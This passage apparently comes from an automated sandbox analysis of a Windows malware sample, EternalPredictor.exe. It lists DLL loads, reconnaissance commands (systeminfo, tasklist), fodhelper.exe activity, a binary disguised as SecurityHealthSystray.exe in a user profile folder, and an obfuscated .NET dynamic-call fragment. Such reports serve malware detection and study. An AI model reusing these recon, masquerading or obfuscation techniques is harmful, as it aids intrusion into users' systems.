Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	Section loaded: samlib.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\consent.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\consent.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\consent.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\EternalPredictor.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\EternalPredictor.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\System32\fodhelper.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\16.0\Access\Capabilities\UrlAssociations

Source: EternalPredictor.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: EternalPredictor.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: EternalPredictor.exe

Static file information: File size 18412032 > 1048576

Source: EternalPredictor.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x118e800

Source: EternalPredictor.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: program.exe, 00000008.00000002.1949490443.00007FFBA4217000.00000040.00000001.01000000.0000001A.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: program.exe, 00000008.00000002.1950555246.00007FFBA65AA000.00000040.00000001.01000000.00000015.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: eternal.exe, 00000002.00000002.3236463360.000000001BEE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: program.exe, 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.pdb source: powershell.exe, 00000033.00000002.1693664914.000001F880386000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.15 3 Sep 20243.0.15built on: Wed Sep 4 15:52:04 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_p
Source:	Binary string: .pdb/ source: eternal.exe, 00000002.00000002.3239609657.000000001C289000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbcorlib.pdbpdblib.pdbC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: eternal.exe, 00000002.00000002.3239609657.000000001C289000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: program.exe, 00000005.00000003.1516009158.00000139887DF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1955438323.00007FFBBB594000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: program.exe, 00000008.00000002.1950555246.00007FFBA6512000.00000040.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: program.exe, 00000005.00000003.1516009158.00000139887DF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1955438323.00007FFBBB594000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: program.exe, program.exe, 00000008.00000002.1952154128.00007FFBA6791000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb/? source: eternal.exe, 00000002.00000002.3236463360.000000001BEE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: program.exe, program.exe, 00000008.00000002.1950555246.00007FFBA65AA000.00000040.00000001.01000000.00000015.sdmp
Source:	Binary string: symbols\dll\mscorlib.pdbpdb` source: eternal.exe, 00000002.00000002.3239609657.000000001C289000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbf source: eternal.exe, 00000002.00000002.3236463360.000000001BF12000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbl source: eternal.exe, 00000002.00000002.3236463360.000000001BF12000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 0C:\Windows\mscorlib.pdb source: eternal.exe, 00000002.00000002.3239609657.000000001C289000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: eternal.exe, 00000002.00000002.3239609657.000000001C289000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: program.exe, 00000008.00000002.1955863036.00007FFBBC341000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: eternal.exe, 00000002.00000002.3236463360.000000001BE50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: program.exe, 00000008.00000002.1954782727.00007FFBAB971000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: mscorlib.pdb source: eternal.exe, 00000002.00000002.3236463360.000000001BF12000.00000004.00000020.00020000.00000000.sdmp, eternal.exe, 00000002.00000002.3236463360.000000001BEE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: program.exe, program.exe, 00000008.00000002.1949877226.00007FFBA43D1000.00000040.00000001.01000000.00000018.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: eternal.exe, 00000002.00000002.3236463360.000000001BF12000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WA source: program.exe
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: program.exe, 00000008.00000002.1952893577.00007FFBAA4CB000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdbN0uP source: eternal.exe, 00000002.00000002.3236463360.000000001BEE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: program.exe, 00000008.00000002.1955626688.00007FFBBC151000.00000040.00000001.01000000.00000019.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: program.exe, 00000008.00000002.1952893577.00007FFBAA4CB000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: program.exe, 00000008.00000002.1955177805.00007FFBBAF31000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb63 source: eternal.exe, 00000002.00000002.3236463360.000000001BEE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.pdbhP source: powershell.exe, 00000033.00000002.1693664914.000001F880386000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: program.exe, program.exe, 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: program.exe, 00000008.00000002.1954529831.00007FFBAB941000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: indoC:\Windows\mscorlib.pdb source: eternal.exe, 00000002.00000002.3239609657.000000001C289000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python313.pdb source: program.exe, 00000008.00000002.1953128317.00007FFBAA8E8000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: program.exe, program.exe, 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: program.exe, program.exe, 00000008.00000002.1951835790.00007FFBA66AE000.00000040.00000001.01000000.00000014.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: eternal.exe.0.dr, iQddWXbGwScqaHBkFEbMdof0OJRNz6u4WQnCKQbCS74w3fx02XLpJaDmKNJJPrSVG2hzVLqa8pl1ZFhxjBtSfLKqOzinxt5zUPR.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{LGrh1xeznUsOqYjAKG6NV80aR9CC8J3FhBQD7qBRvte9ULxnP.U2xZS9Ii0bNLwN14STRo7hwBRPZhfM0aicc7EKEBlrFHxeDFy,LGrh1xeznUsOqYjAKG6NV80aR9CC8J3FhBQD7qBRvte9ULxnP.klGcTAcrhqPTSR6ORizJ2c7HcRMpsdc3i6nBTyBWta4vxEDVy,LGrh1xeznUsOqYjAKG6NV80aR9CC8J3FhBQD7qBRvte9ULxnP.e1a4iS5m2cwY7Wz4tf9JJh8YkbpTv1LUNuS5AGzigkLRqkULl,LGrh1xeznUsOqYjAKG6NV80aR9CC8J3FhBQD7qBRvte9ULxnP.zddVe2zadHhHeDck7teLRxIVYabLIJuFmKSkvkzjoYfQwS95L,z7GL3GcSz0bU9xxBylPHvbaUX8.BvRcOGTXZLhNVW8VvUiYmleWf3IvqmgfkWjeLSwSzGNWB3uGR2J9VQkAvHh()}}, (string[])null, (Type[])null, (bool[])null, true)
